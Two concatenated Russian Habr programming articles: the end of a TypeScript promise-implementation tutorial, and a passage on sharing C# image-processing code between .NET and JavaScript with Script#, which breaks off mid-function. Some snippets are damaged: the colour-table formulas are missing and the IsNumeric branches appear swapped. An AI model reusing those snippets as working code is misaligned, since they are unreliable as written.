Обещание cast выполнится только, когда выполнится обещание `original`, и выполнится со значением `original['result']`, а не самим `original`, как может показаться на первый взгляд. С учетом этого, изменение состояния экземпляра и вызов его подписчиков имеет смысл вынести в отдельный метод, а конечному пользователю отдавать обертку с дополнительными проверками:
```
export default class PromiseImplementation {
private state: PromiseState = 'pending';
private result: PromiseResult;
constructor(executor?: PromiseExecutor) {/* ... */}
private consumersArgs: ConsumerCallback[][] = [];
private applyResolveMainLogic(value?: any) {
if (this.state === 'pending') {
this.state = 'fulfilled';
this.result = value;
if (this.consumersArgs.length) {
for (let consumerArgs of this.consumersArgs) {
this.then(...consumerArgs);
}
}
}
}
private resolveCallsCount = 0;
private resolve(value?: any) {
if (this.resolveCallsCount > 0 || this.rejectCallsCount > 0) {
this.resolveCallsCount += 1;
return;
}
this.resolveCallsCount += 1;
if (value instanceof PromiseImplementation) {
value.then(
(result) => this.applyResolveMainLogic(result),
(err) => this.applyRejectMainLogic(err)
);
return;
}
this.applyResolveMainLogic(value);
}
}
```
Итоговый метод может быть вызван только 1 раз (строчка `24`). Если в качестве аргумента методу передается обещание, только после его выполнения (строчка `32`) и с его же результатом будет вызван `applyMainLogic` оригинального экземпляра.
Метод `reject` выглядит несколько проще, поскольку его вызов это **всегда** изменение `state` на 'rejected' и `result` на значение аргумента, независимо от его типа:
```
export default class PromiseImplementation {
private state: PromiseState = 'pending';
private result: PromiseResult;
constructor(executor?: PromiseExecutor) {/* ... */}
private consumersArgs: ConsumerCallback[][] = [];
private applyResolveMainLogic(value?: any) {/* ... */}
private resolveCallsCount = 0;
private resolve(value?: any) {/* ... */}
private applyRejectMainLogic(error?: any) {
if (this.state === 'pending') {
this.state = 'rejected';
this.result = error;
if (this.consumersArgs.length) {
for (let consumerArgs of this.consumersArgs) {
this.then(...consumerArgs);
}
}
}
}
private rejectCallsCount = 0;
private reject(error?: any) {
if (this.rejectCallsCount > 0 || this.resolveCallsCount > 0) {
this.rejectCallsCount += 1;
return;
}
this.rejectCallsCount += 1;
this.applyRejectMainLogic(error);
}
}
```
Consumers
---------
В предыдущей секции уже были сделаны кое - какие наброски: запуск пользовательских хендлеров, передаваемых подписчику в качестве аргументов, необходимо осуществлять только если обещание уже выполнено, в противном случае, аргументы необходимо сохранить до момента, когда это случится.
Так же, сразу можно выделить еще два ключевых момента:
* Передаваемые в `.then | .catch | .finally` коллбеки **всегда** вызываются в асинхронном режиме. С практической точки зрения это означает, что вызов коллбеков и некоторая вспомогательная логика будут обернуты в `setTimeout` с нулевой задержкой.
* Возможность построения цепочек вызовов означает, что каждый подписчик, практически всегда должен возвращать новый экземпляр обещания.
Сразу можно выделить проблему, вытекающую из последнего пункта. Пример `(2)`:
```
/* экземпляр_0 */
new PromiseImplementation(resolve => {
setTimeout(() => {
resolve(1);
}, 1000);
})
/* then_0, вызывается на экземпляр_0, возвращает экземпляр_1 */
.then(x => {
return x * 2;
})
/* then_1, вызывается на экземпляр_1, возвращает экземпляр_2 */
.then((x) => {
return x * 4;
})
```
Организация такой цепочки вызовов приводит к созданию трёх обещаний. Причем явно декларировано выполнение только одного, экземпляры *1* и *2* не модифицируют собственное состояние сами по себе.
Логику метода `.then` необходимо реализовать таким образом, чтобы:
* `.then_0`, когда обещание *0* выполнено, вызвал пользовательский хендлер
`x => { return x * 2; }` и выполнил обещание *1* с результатом этого хендлера.
* `then_1`, когда обещание *1* выполнено, вызвал пользовательский хендлер
`x => { return x * 4; }` и выполнил обещание *2* с результатом этого хендлера.
* ...И так до конца любой цепочки.
Другими словами, у экземпляра, на котором вызван подписчик, должна быть возможность выполнить обещание, которое этот подписчик возвращает.
Добавим в класс несколько новых полей:
```
export default class PromiseImplementation {
/* Вспомогательные структуры */
private currentConsumerIndex = 0;
private consumersArgs: ConsumerCallback[][] = [];
private consumerShouldReturnInstance = true;
private consumersInstanceSettlers: {
resolvers: ExecutorCallback[];
rejecters: ExecutorCallback[];
} = {
resolvers: [],
rejecters: [],
};
}
```
Поле`consumersInstanceSettlers` будет содержать satisfayer-ы инстансов, которые вернули подписчики.
На одном экземпляре может быть вызвано несколько подписчиков. После выполнения обещания, они последовательно вызываются в цикле, в качестве аргументов передаются сохраненные коллбеки, но не индекс итерации. Поле`currentConsumerIndex` необходимо именно по этой причине, чтобы ориентироваться в структуре `consumersInstanceSettlers`.
Флаг`consumerShouldReturnInstance` необходим, чтобы **не** возвращать инстанс из подписчика, если он был вызван в `resolve` или `reject`, то есть программно, а не пользователем. В противном случае данные в `consumersInstanceSettlers`будут перезаписаны.
```
export default class {
private applyMainLogic(argument?: any) {
if (this.state === 'pending') {
this.state = /* fulfilled | rejected */;
this.result = argument;
if (this.consumersArgs.length) {
/* Не возвращать экземпляр, если .then вызывается программно */
this.consumerShouldReturnInstance = false;
for (let consumerArgs of this.consumersArgs) {
this.then(...consumerArgs);
}
}
}
}
}
```
Теперь можно реализовать публичный метод `.then`:
```
export default class PromiseImplementation {
then = (handleSuccess?: ConsumerCallback, handleError?: ConsumerCallback) => {
/* Вызов без аргументов - возвращаем этот же экземляр */
if (!handleSuccess && !handleError) {
return this;
}
const { state, result } = this;
const isSettled = state !== 'pending' && 'result' in this;
if (isSettled) {
/*
Если обещание выполнено - ставим таймер
с нулевой задержкой на выполнение пользовательских хендлеров
*/
setTimeout(() => {
if (handleSuccess === handleError) {
this.handleFinally(result, handleSuccess || handleError, state);
return;
}
if (state === 'fulfilled') {
this.handleResult(result, handleSuccess, state);
}
if (state === 'rejected') {
this.handleResult(result, handleError, state);
}
}, 0);
}
if (this.consumerShouldReturnInstance) {
if (!isSettled) {
/*
Сохраняем пользовательские обработчики до востребования
*/
this.consumersArgs.push([handleSuccess, handleError]);
}
/*
По умолчанию возвращаем новый инстанс, и сохраняем его
satisfayer - ы в текущий.
*/
return new PromiseImplementation((resolve, reject) => {
this.consumersInstanceSettlers.resolvers.push(resolve);
this.consumersInstanceSettlers.rejecters.push(reject);
});
}
};
}
```
Вызов пользовательских обработчиков и обработка их результатов будет происходить в `handleResult` и `handleFinally`. В них же будет происходить выполнение обещания, которое вернул подписчик. Логику получения `resolve` & `reject` этого обещания, имеет смысл вынести в отдельный метод:
```
export default class PromiseImplementation {
/* Получить satisfier - ы инстанса, который вернул подписчик */
private getConsumerInstanceSettlers() {
const index = this.currentConsumerIndex++;
const resolveNext = this.consumersInstanceSettlers.resolvers[index];
const rejectNext = this.consumersInstanceSettlers.rejecters[index];
return {
resolveNext,
rejectNext,
};
}
}
```
Приватный метод `handleResult`:
```
export default class PromiseImplementation {
private handleResult(result: any, handler?: ConsumerCallback, state?: PromiseState) {
/* Получение resolve & reject экземпляра, который вернул .then или .catch */
const { resolveNext, rejectNext } = this.getConsumerInstanceSettlers();
/* В случае ошибки в handler, будет вызван rejectNext */
try {
const handlerResult = handler ? handler(result) : result;
/* Если handler вернул обещание, это обрабатывается особым образом */
if (handlerResult instanceof PromiseImplementation) {
const resolve = (result) => resolveNext(result);
const reject = (err) => rejectNext(err);
handlerResult.then(resolve, reject);
return;
}
/*
Нет обработчика ошибки - идем по цепочка дальше, пока этот
обработчик не встретим.
*/
if (state === 'rejected' && !handler) {
rejectNext(result);
return;
}
/* Вызов resolveNext с результатом, который вернул handler */
resolveNext(handlerResult);
} catch (err) {
rejectNext(err);
}
}
then = (handleSuccess?: ConsumerCallback, handleError?: ConsumerCallback) => {/*...*/};
}
```
В случае ошибки в пользовательском хендлере, возвращаемое подписчиком обещание выполняется с этой ошибкой. В случае, если обработчик отработал корректно, возвращаемое подписчиком обещание выполнится с результатом, который вернул этот обработчик. Разумеется, необходимо обрабатывать результат особым образом, если результат вызова сохраненного коллбека - экземпляр обещания. В этом случае, необходимо дождаться его выполнения, и только после этого вызвать `resolve` | `reject` экземпляра, который возвратил подписчик.
Такая логика справедлива для консъюмеров `.then` и `.catch`, но не для `.finally`. Поэтому необходим приватный метод `handleFinally`, работающий похожим образом. Его основное отличие в том, что пользовательский обработчик вызывается без аргументов. Результат его вызова так же не учитывается, только если это не обещание, поэтому метод почти не оказывает воздействия на цепочку.
Приватный метод `handleFinally`:
```
export default class PromiseImplementation {
private handleFinally(result: any, handler?: ConsumerCallback, state?: PromiseState) {
const { resolveNext, rejectNext } = this.getConsumerInstanceSettlers();
try {
/* Пользовательский коллбек вызывается без аргументов. */
const handlerResult = handler && handler();
if (handlerResult instanceof PromiseImplementation) {
/*
Если результат коллбека - обещание,
код просто дождется его выполнения, но
результат обещания будет проигнорирован.
*/
const resolve = () => resolveNext(result);
const reject = (err) => rejectNext(err);
handlerResult.then(resolve, reject);
return;
}
if (state === 'rejected') {
rejectNext(result);
return;
}
resolveNext(result);
} catch (err) {
rejectNext(err);
}
}
}
```
Полученный метод `.then` универсален. Публичные методы `.catch` и `.finally` реализуются как простейшие обертки, передающие разные наборы аргументов.
```
catch = (handleError?: ConsumerCallback) => {
return this.then(undefined, handleError);
};
```
```
finally = (callback?: ConsumerCallback) => {
return this.then(callback, callback);
};
```
Вместо заключения
-----------------
* Проверка `instanceof` в коде это упрощение, под капотом нативных промисов проверяется, что сущность представляет собой [Thenable](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise#thenables) объект.
* Это же можно сказать про `setTimeout`, у нативных промисов есть [своя](https://javascript.info/microtask-queue) внутренняя очередь.
* Последнее умышленное упрощение - использование `.finally` как обертки над `.then`, вызываемого с двумя одинаковыми коллбеками.
Для примера ниже, текущая реализация отработает неверно, `.then` на строчке `7` будет обрабатываться, как `.finally`. По субъективному опыту, так никто не пишет, поэтому кейс не брался во внимание.
```
const thenCallback = (x) => {
console.log(x);
};
new PromiseImplementation((resolve) => {
resolve(1);
}).then(thenCallback, thenCallback);
```
Благодарю читателя, который добрался досюда. Понять все с первого раза может быть сложно. Построчный разбор всех процессов, происходящих даже при небольшой цепочке, раздул бы материал до неприличия, поэтому на всякий случай оставляю ссылку на исходники в начале статьи. Буду рад любой обратной связи по тому, как сделать текст понятнее, или если вы увидите недочёты в реализации. | https://habr.com/ru/post/685996/ | null | ru | null |
# Универсальный код C# под .NET и JavaScript
### Введение
Приветствую вас, хабравчане. В данном топике я хотел бы осветить подробности разработки на C# под разнородные целевые платформы, в первую очередь такие как .NET и браузер (JavaScript). В качестве примера желающие могут изучить веб-сервис по обработке фотографий [gfranq.com](http://gfranq.com/), в котором реализована клиентская и серверная обработка фотографий с помощью фильтров, а также функциональность коллажей на основе материала, описанного в данной статье.
Так как я не умею подбирать картинки для привлечения внимания, то она будет по теме:
[](http://habrahabr.ru/post/164439/)
### Содержание
[Цель](#Goal)
* [Описание фильтров](#Filters)
* [Описание коллажей](#Collages)
[Реализация](#Means)
* [Выбор платформы для обработки фотографии](#Platform)
* [Трансляция C# в JavaScript](#Translation)
* [Структура](#Structure)
+ [Использование alias](#Alias)
+ [Ссылки на файлы](#Links)
* [Заметки о .NET реализации](#DotnetNotes)
+ [Использование Dispose](#DisposeUsing)
+ [Использование lock](#LockUsing)
+ [Хранение масок в памяти](#MasksInMemory)
* [Заметки о JavaScript реализации](#JavascriptNotes)
+ [Минификация](#Minification)
- [Вручную](#ManualMinify)
- [Автоматически](#AutoMinify)
+ [Debug & Release режимы](#DebugRelease)
+ [Свойство crossOrigin](#crossOrigin)
* [Оптимизации](#Optimizations)
+ [Использование предвычисленных (табличных) значений](#Precalculs)
+ [Преобразование изображения в массив пикселей](#Pixels)
[Примеры кода](#CodeSamples)
* [Общие](#General)
+ [Определение, является ли строка числом](#IsNumericSample)
+ [Целочисленное деление](#IntegerDivSample)
+ [Поворот и обращение изображения на canvas и Bitmap соответственно](#ImageRotateFlipSample)
+ [Асинхронная и синхронная загрузка картинок](#AsyncSyncImageLoadSample)
* [Только Script#](#JavascriptOnly)
+ [Определение типа и версии браузера](#BrowserDetermSample)
+ [Отрисовка пунктирной линии](#DashDotLineSample)
+ [Анимация вращения изображения](#RotateAnimationSample)
[Заключение](#Conclusion)
### Цель
Итак, была поставлена задача реализации обработки фотографий фильтрами и создания коллажей на клиенте, а также, по возможности, на сервере. Для начала я расскажу как у нас представлены фильтры и коллажи.
#### Описание фильтров
**Фильтр** в нашем проекте представляется последовательностью действий (action), подготовленных в Photoshop, примененных к определенной фотографии. Действие может быть например одно из:
* Изменение яркости
* Изменение контрасности
* Изменение насыщенности
* Коррекций цветовых кривых
* Наложение масок с различными режимами
* Наложение рамок
* ...
Для того, чтобы описать все эти действия нужен определенный формат. Конечно, существуют стандартные форматы, типа JSON и XML, но было решено разработать собственный формат по следующим причинам:
* Универсальность кода для всех платформ (.NET, JavaScript, WinPhone и др.).
* Формат фильтров простой, не имеющий иерархической структуры, что позволяет легко написать парсер для него.
* XML и JSON больше весят (для данного случая).
Например вот как выглядит последовательность действий для фильтра **XPro Film**:
Кроме обработки фотографий фильтром, нужно было еще реализовать обрезку и поворот изображения. Да, я знал, что существуют jQuery плагины для реализации поворота и обрезки, но, во-первых, они оказались слишком перегруженными, а, во-вторых, не вписывались в универсальную архитектуру проекта.
#### Описание коллажей
**Коллаж** же представляется в виде нескольких миниатюрных фотографий, объединенных в одну с использованием маски или без. При этом нужно было предоставить возможность перетаскивания доступных фоток на коллаж и менять их положение и масштаб.
Коллаж может выглядеть например так:
Для коллажа тоже используется свой простой формат, хранящий набор прямоугольников в относительных координатах от 0 до 1, адреса фотографий, а также их трансформации. Относительные координаты используются потому что на сервере та же самая клиентские трансформации применяется к большим фоткам.
### Реализация
Итак, нужно было выбрать платформу, на которой функциональность фильтров и коллажей работала у пользователей.
#### Выбор платформы для обработки фотографии
Существует следующие RIA технологии:
* Adobe Flash
* Microsoft Silverlight
* HTML 5 + JavaScript
* Native Client
Из всего этого списка по вполне очевидным причинам заслуживают внимания в настоящее время только Flash и HTML 5, так как все остальные не кроссплатформенны. А Silverlight еще и потихоньку отмирает. Хотя концепция ~~соли~~ NaCl мне очень нравится, но, увы, существует он только на Chrome, и не известно когда будет и будет ли поддерживаться он остальными популярными браузерами.
Итак, в качестве платформы была выбрана модная и развивающаяся HTML 5, которая потенциально работает еще и на iOS, в отличие от Flash. Также такой выбор обосновывается еще и тем, что существует много библиотек, которые позволяют преобразовывать C# в JavaScript, в том числе и в Visual Studio. Об этом, впрочем, будет рассказываться дальше.
#### Трансляция C# в JavaScript
В предыдущем разделе была выбрана платформа для разработки: HTML 5 + JavaScript. Но возник вопрос, а можно ли написать универсальный C# код, который мог бы компилиться и под .NET и под JavaScript?
Таким образом были найдены несколько библиотек для реализации поставленной задачи:
* JSIL
* SharpKit
* Script#
* И другие, которые можно посмотреть например [в этом списке на github](https://github.com/jashkenas/coffee-script/wiki/List-of-languages-that-compile-to-JS).
В итоге было решено использовать **Script#** из-за того, что JSIL работает непосредственно со сборками и генерирует менее чистый код (хотя поддерживает больше возможностей C#), а SharpKit является коммерческим. Подробное сравнение подобных инструментов можно увидеть в [вопросе JSIL vs Script# vs SharpKit на stackoverflow](http://stackoverflow.com/q/11547471/1046374).
Резюмируя, хочу выделить следующие плюсы и минусы использования ScriptSharp по сравнению с написанием JavaScript вручную:
**Достоинства:**
* Возможность написания универсального кода под .NET и другие платформы (WP, Mono).
* Разработка на строго типизированном языке C# с возможностями ООП.
* Поддержка возможностей IDE для разработки (автодополнение, рефакторинг).
* Определение многих ошибок на этапе компиляции.
**Недостатки:**
* Избыточность и нестандартность генерируемого JavaScript (из-за mscorlib).
* Поддержка только спецификации ISO-2 (отсутствие перегрузки функций, вывода типов, расширений, генериков и другого).
#### Структура
Компиляция под .NET и JavaScript одного и того же кода может быть представлена в виде следующей схемы:
Несмотря на то, что .NET и HTML5 это совершенно разные технологии, у них есть и похожие черты. Это относится и к работе с графикой. Например, в .NET есть **Bitmap**, а в JavaScript аналогом ему является **canvas**. Также и с **Graphics** и **Context**, и массивами пикселей. Для того чтобы объединить все это в одном коде, было решено разработать следующую архитектуру:
Разумеется дело не ограничивается двумя платформами. В дальнейшем планируется добавить поддержку WP, а потом, возможно, Android и iOS.
Стоит отметить, что существует два типа графических операций:
* **Использующие функции API** (DrawImage, Arc, MoveTo, LineTo). Преимуществом является высокая скорость работы и возможное аппаратное ускорение. Недостатком — они могут быть реализованы по-разному на различных платформах.
* **Попиксельные.** Преимуществом является возможность реализации любых эффектов и унифицированная работа на всех платформах. Недостатком — низкая скорость работы. Однако недостатки можно нивелировать путем распараллеливания, использования шейдеров и использованием заранее рассчитанных таблиц (о чем будет рассказано дальше в разделе про оптимизацию).
Как видим, в абстрактом классе **Graphics** описаны все методы для работы с графикой, а в производных классах они реализованы для различных платформ. Для того, чтобы абстрагироваться и от таких классов как Bitmap и Canvas были написаны следующие [алиасы](http://msdn.microsoft.com/en-us/library/aa664765(v=vs.71).aspx). Также в разрабатываемой WP версии используется еще и [паттерн адаптер](http://ru.wikipedia.org/wiki/%D0%90%D0%B4%D0%B0%D0%BF%D1%82%D0%B5%D1%80_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)).
##### Использование alias
```
#if SCRIPTSHARP
using System.Html;
using System.Html.Media.Graphics;
using System.Runtime.CompilerServices;
using Bitmap = System.Html.CanvasElement;
using Graphics = System.Html.Media.Graphics.CanvasContext2D;
using ImageData = System.Html.Media.Graphics.ImageData;
using Image = System.Html.ImageElement;
#elif DOTNET
using System.Drawing;
using System.Drawing.Imaging;
using System.Drawing.Drawing2D;
using Bitmap = System.Drawing.Bitmap;
using Graphics = System.Drawing.Graphics;
using ImageData = System.Drawing.Imaging.BitmapData;
using Image = System.Drawing.Bitmap;
#endif
```
Однако в C# к сожалению нельзя сделать алиасы на небезопасные типы и массивы, т.е. так ([Alias to pointer (byte\*) in C#](http://stackoverflow.com/q/13489903/1046374)):
```
using PixelArray = byte*, using PixelArray = byte[]
```
И для того чтобы иметь возможность использовать неуправляемый код в C# для быстрой обработки пикселей, при этом одновременно компилирующемся в Script#, была введена такая схема с помощью директив:
```
#if SCRIPTSHARP
PixelArray data = context.GetPixelArray();
#elif DOTNET
byte* data = context.GetPixelArray();
#endif
```
В дальнейшем массив data используется для различных попиксельных операций (таких как наложение масок, рыбий глаз, изменение насыщенности и другие), распараллеленых и нет.
##### Ссылки на файлы
Для каждой платформы в солюшн добавляется отдельный проект, но, понятное дело, проекты Mono, Script# и даже Silverlight не могут ссылаться на обычную .NET сборку. К счастью в Visual Studio существует механизм добавления ссылок на файлы, что позволяет повторно использовать один и тот же код в разных проектах.
А указание директив компиляции (DOTNET, SCRIPTSHARP и т.д.) добавляется в свойствах проекта в Conditional Compilation Symbols.
#### Заметки о .NET реализации
Благодаря вышеупомянутым абстракциям и алиасам, был написан код C# с низким уровнем избыточности. Однако далее я хочу обратить внимание на проблемы платформ .NET и JavaScript с которыми нам пришлось столкнуться при разработке, но которые были успешно решены.
##### Использование Dispose
Хочется обратить внимание на то, что для любого экземпляра C# класса, реализующего интерфейс IDisposable, всегда нужно вызывать **Dispose** после его использования или использовать паттерн **using**. В данном проекте такими классами являлись Bitmap и Context. Это не только мои слова и просто теория, но и практика: На ASP.NET Developer Server x86 сервере обработка большого количества больших фотографий (до 2400\*2400) приводила к исключению связанному с памятью. После расстановки Dispose в нужных местах, проблема исчезла. Об этом и о многих других советах по обработке изображений также пишут в статье [20 Image Resizing Pitfalls](http://www.nathanaeljones.com/blog/2009/20-image-resizing-pitfalls) и [.NET Memory Leak: To dispose or not to dispose, that’s the 1 GB question](http://blogs.msdn.com/b/tess/archive/2009/02/03/net-memory-leak-to-dispose-or-not-to-dispose-that-s-the-1-gb-question.aspx).
##### Использование lock
В JavaScript существует разделение между уже загруженной картинкой с тегом **img**, которому можно задавать источник и событие загрузки и между полотном с тегом canvas, на котором можно что-то рисовать. Однако в .NET все представляется одним классом Bitmap. Таким образом, алиасы Bitmap и Image в .NET указывают на один и тот же класс System.Drawing.Bitmap как это можно увидеть выше.
Тем не менее это разделение в JavaScript на img и canvas очень помогло и в .NET версии в дальнейшем. Дело в том, что для фильтров используются предварительно загруженные маски, которые используются разными потоками, а следовательно для них нужно использовать паттерн **lock** во избежание исключения синхронизации (копирование изображения происходит с lock, а дальше результат используется без блокировки):
```
internal static Bitmap CloneImage(Image image)
{
#if SCRIPTSHARP
Bitmap result = (Bitmap)Document.CreateElement("canvas");
result.Width = image.Width;
result.Height = image.Height;
Graphics context = (Graphics)result.GetContext(Rendering.Render2D);
context.DrawImage(image, 0, 0);
return result;
#else
Bitmap result;
lock (image)
result = new Bitmap(image);
return result;
#endif
}
```
Не стоит забывать, что lock нужно использовать и в случае обращения к свойствам синхронизируемого объекта (потому что любые свойства это по сути методы).
##### Хранение масок в памяти
При старте сервера все потенциально используемые маски для фильтров загружаются в память для ускорения обработки. Не стоит забывать, что какой бы формат не имела маска, на сервере загруженный Bitmap занимает 4\*2400\*2400 ~ 24 Мб (максимальный размер изображения 2400\*2400, кол-во байт на пиксель — 4), а значит все маски для фильтров (~30 штук) и коллажей (40 штук) будет занимать в памяти ~1.5 Гб, что в принципе не много для сервера, однако при увеличении количества масок, это число может значительно увеличиться. Так что в будущем, возможно, нужно будет использовать сжатие масок в памяти (в виде форматов .jpg, .png) с последующей распаковкой их во время использования, особенно учитывая, что размер при этом можно уменьшить примерно в 300 раз. Дополнительным преимуществом такого подхода является то, что сжатое изображение копировать быстрее большого, а значит на операцию **lock** будет уходить меньше времени и потоки будут меньше блокироваться.
#### Заметки о JavaScript реализации
##### Минификация
Я специально не употребил слово «обфускация» в заголовке данного раздела, поскольку этот термин для языка со все время открытыми исходниками, которым в данном случае является JavaScript, слабоприменим. Однако запутать логику и читаемость кода можно путем «обезличивания» различных идентификаторов (не будем сейчас говорить об извращенных способов, продемонстрированных [в одном из топиков](http://habrahabr.ru/post/112530/)). Ну и главное, такая методика позволит существенно уменьшить размер скрипта (сейчас в сжатом виде он весит ~80 Кб).
Существует два подхода минификации JavaScript в нашем случае:
* **Вручную**. На этапе генерации, используя ScriptSharp.
* **Автоматически**. После этапа генерации. Для этого используются внешние инструменты, такие как Google Closure Compiler, Yui.
###### Минификация вручную
Для того чтобы укоротить названия методов, классов и атрибутов, использовалась такая синтаксическая конструкция непосредственно перед объявлениями этих сущностей. Естественно для методов, которые вызываются из внешних скриптов и классов (public), такое делать конечно же не нужно.
```
#if SCRIPTSHARP && !DEBUG
[ScriptName("a0")]
#endif
```
Однако локальные переменные при этом все равно нельзя минифицировать. Также недостатком является засорение кода такими конструкциями и, как следствие, ухудшение читаемости кода. Однако данная методика позволяет существенно уменьшить и запутать генерируемый JavaScript код.
Еще одним недостатком является то, что за такими короткими именами нужно следить, если они переименовывают названия методов (особенно перегруженных абстрактных в потомках) и полей, потому что в этом случае Script# не будет ругаться на повторяющиеся имена. Однако дублирующихся классов он не допустит.
Кстати, в разрабатывающейся версии Script# вроде бы уже добавили минификацию private и internal методов и полей.
###### Минификация автоматически
Для минификации JavaScript существует множество утилит, однако я воспользовался Google Closure Compiler в силу бренда, хорошего качества сжатия. Однако недостатком Google минификатором является то, что он не может сжимать CSS файлы, зато [YUI](http://yui.github.com/yuicompressor/css.html) например может. На самом деле Script# тоже минифицирует скрипты, но делает это существенно хуже GCC.
Стоит отметить, что у Google минификатора существует несколько уровней сжатия: Whitespace, Simple и Advanced. В проекте был выбран уровень Simple, поскольку хотя и при Advanced можно достигнуть максимального качества сжатия, для него нужно писать кода особым образом, чтобы методы и классы были доступны извне. Ну и частично такая минификация была сделана вручную с помощью Script#. Если вы интересуетесь Google Closure минификатором, то рекомендую просмотреть [данный список](http://javascript.ru/optimize/google-closure-compiler) русскоязычных статей.
##### Debug & Release режимы
Подключение debug и release версий библиотек к ASP.NET страницам делалось следующим образом:
```
<% if (Gfranq.JavaScriptFilters.HtmlHelper.IsDebug)
{ %>
<% }
else
{ %>
<% } %>
```
Кстати, в нашем проекте минифицировались не только скрипты, но и файлы описания фильтров тоже.
##### Свойство crossOrigin
Для того, чтобы можно было иметь доступ к пикселям какого-то изображения, его нужно преобразовать сначала в canvas. Однако при этом может возникнуть ошибка кроссдоменного доступа (CORS). В нашем случае данная проблема была разрешена следующим образом:
* Проставление crossOrigin = '' на клиенте.
* Добавление специального заголовка к пакету http на сервере.
Но так как ScriptSharp не поддерживает такого свойства для img элементов, был написан такой код:
```
[Imported]
internal class AdvImage
{
[IntrinsicProperty]
internal string CrossOrigin
{
get { return string.Empty; }
set { }
}
}
```
А использовать его потом так:
```
((AdvImage)(object)result).CrossOrigin = "";
```
Стоит отметить, что подобная техника позволяет добавить любое свойство к объекту без ошибки компиляции. В частности, в ScriptSharp еще [не реализовано свойство wheelDelta](http://stackoverflow.com/q/13572711/1046374) (во всяком случае в версии 0.7.5), отображающее величину вращения колесика (используется в коллажах). Поэтому оно было реализовано подобным образом. На самом деле такой грязный хак со свойствами — это плохо, а по хорошему нужно вносить форки в проект. Но я пока честно говоря не совсем разобрался как компилить ScriptSharp из исходников.
На сервере для таких изображений нужно возвращать такие заголовки (в Global.asax):
```
Response.AppendHeader("Access-Control-Allow-Origin", "*");
```
Более подробно о кроссдоменном доступе к ресурсам можно почитать [здесь](http://enable-cors.org/).
#### Оптимизации
##### Использование предвычисленных (табличных) значений
Для некоторых операций, например изменение яркости, контрастности и цветовых кривых была применена оптимизация, заключающаяся в предварительном вычислении результирующих компонент цвета (r, g, b) для всевозможных значений, а затем использование полученных массивов для изменения непосредственно цветов пикселей. Однако стоит отметить, что такая оптимизация подходит только для операций, в которых на цвет результирующего пикселя не влияют соседние.
Вычисление компонент цвета для всевозможных значений:
```
for (int i = 0; i < 256; i++)
{
r[i] = (i);
g[i] = (i);
b[i] = (i);
}
```
Использование предварительно вычисленных компонент цвета:
```
for (int i = 0; i < data.Length; i += 4)
{
data[i] = r[data[i]];
data[i + 1] = g[data[i + 1]];
data[i + 2] = b[data[i + 2]];
}
```
Стоит отметить, что если такие табличные операции идут подряд, то промежуточные изображения вообще можно не вычислять, а передавать только массивы компонент цветов. Но в силу того, что на клиенте и сервере код работал и так довольно быстро, пока что было решено не реализовывать такую оптимизацию. К тому же существовали некоторые другие проблемы из-за нее. Однако листинг такой оптимизации я все же приведу:
| | |
| --- | --- |
| Обычный код | Оптимизированный код |
|
```
// Вычисление первой таблицы.
for (int i = 0; i < 256; i++)
{
r[i] = (i);
g[i] = (i);
b[i] = (i);
}
…
// Вычисление результирующего промежуточного изображения.
for (int i = 0; i < data.Length; i += 4)
{
data[i] = r[data[i]];
data[i + 1] = g[data[i + 1]];
data[i + 2] = b[data[i + 2]];
}
…
// Вычисление второй таблицы.
for (int i = 0; i < 256; i++)
{
r[i] = (i);
g[i] = (i);
b[i] = (i);
}
…
// Вычисление результирующего изображения.
for (int i = 0; i < data.Length; i += 4)
{
data[i] = r[data[i]];
data[i + 1] = g[data[i + 1]];
data[i + 2] = b[data[i + 2]];
}
…
```
|
```
// Вычисление первой таблицы.
for (int i = 0; i < 256; i++)
{
r[i] = (i);
g[i] = (i);
b[i] = (i);
}
…
// Вычисление второй таблицы.
tr = r.Clone();
tg = g.Clone();
tb = b.Clone();
for (int i = 0; i < 256; i++)
{
r[i] = tr[(i)];
g[i] = tg[(i)];
b[i] = tb[(i)];
}
…
// Вычисление результирующего изображения.
for (int i = 0; i < data.Length; i += 4)
{
data[i] = r[data[i]];
data[i + 1] = g[data[i + 1]];
data[i + 2] = b[data[i + 2]];
}
…
```
|
Однако даже это еще не все. Если посмотреть на правую таблицу, то можно заметить, что новые массивы там создаются с помощью Clone. На самом деле массив можно не копировать, а просто менять указатели на старый и новый массивы (тут вспоминается аналогия с [двойной буферизацией](http://ru.wikipedia.org/wiki/%D0%94%D0%B2%D0%BE%D0%B9%D0%BD%D0%B0%D1%8F_%D0%B1%D1%83%D1%84%D0%B5%D1%80%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F)).
##### Преобразование изображение в массив пикселей
Профилировщиком JavaScript в Google Chrome было выявлено, что функция GetImageData (которая используется для преобразования canvas в массив пикселей) выполняется достаточно долго, о чем, впрочем, можно почитать в различных статьях по оптимизации Canvas в JavaScript.
Однако количество вызовов данной функции тоже можно минимизировать. А именно, использовать один и тот массив пикселей для попиксельных операций, по аналогии с предыдущей оптимизацией.
### Примеры кода
Здесь я опишу примеры кода, которые показались мне интересными и полезными. Чтобы статья не получилась слишком длинной, я заключил их в спойлеры.
#### Общие
**Определение, является ли строка числом**
```
internal static bool IsNumeric(string n)
{
#if !SCRIPTSHARP
return ((Number)int.Parse(n)).ToString() != "NaN";
#else
double number;
return double.TryParse(n, out number);
#endif
}
```
**Целочисленное деление**
```
internal static int Div(int n, int k)
{
int result = n / k;
#if SCRIPTSHARP
result = Math.Floor(n / k);
#endif
return result;
}
```
**Поворот и обращение изображения на canvas и Bitmap соответственно**Обратите внимание, что в html5 canvas нет функций поворота изображения на 90, 180 градусов, кроме как с использованием матриц, а в .NET есть. Так что была написана соответствующая точная функция, работающая с пикселями.
Также стоит отметить, что в .NET версии поворот на 90 градусов в любую сторону может привести к неправильным результатам. Поэтому после использования функции RotateFlip в данных случаях нужно создавать новый Bitmap.
```
public static Bitmap RotateFlip(Bitmap bitmap, RotFlipType rotFlipType)
{
#if SCRIPTSHARP
int t, i4, j4, w, h, c;
if (rotFlipType == RotFlipType.RotateNoneFlipNone)
return bitmap;
GraphicsContext context;
PixelArray data;
if (rotFlipType == RotFlipType.RotateNoneFlipX)
{
context = GraphicsContext.GetContext(bitmap);
data = context.GetPixelArray();
w = bitmap.Width;
h = bitmap.Height;
for (int i = 0; i < h; i++)
{
c = (i + 1) * w * 4 - 4;
for (int j = 0; j < w / 2; j++)
{
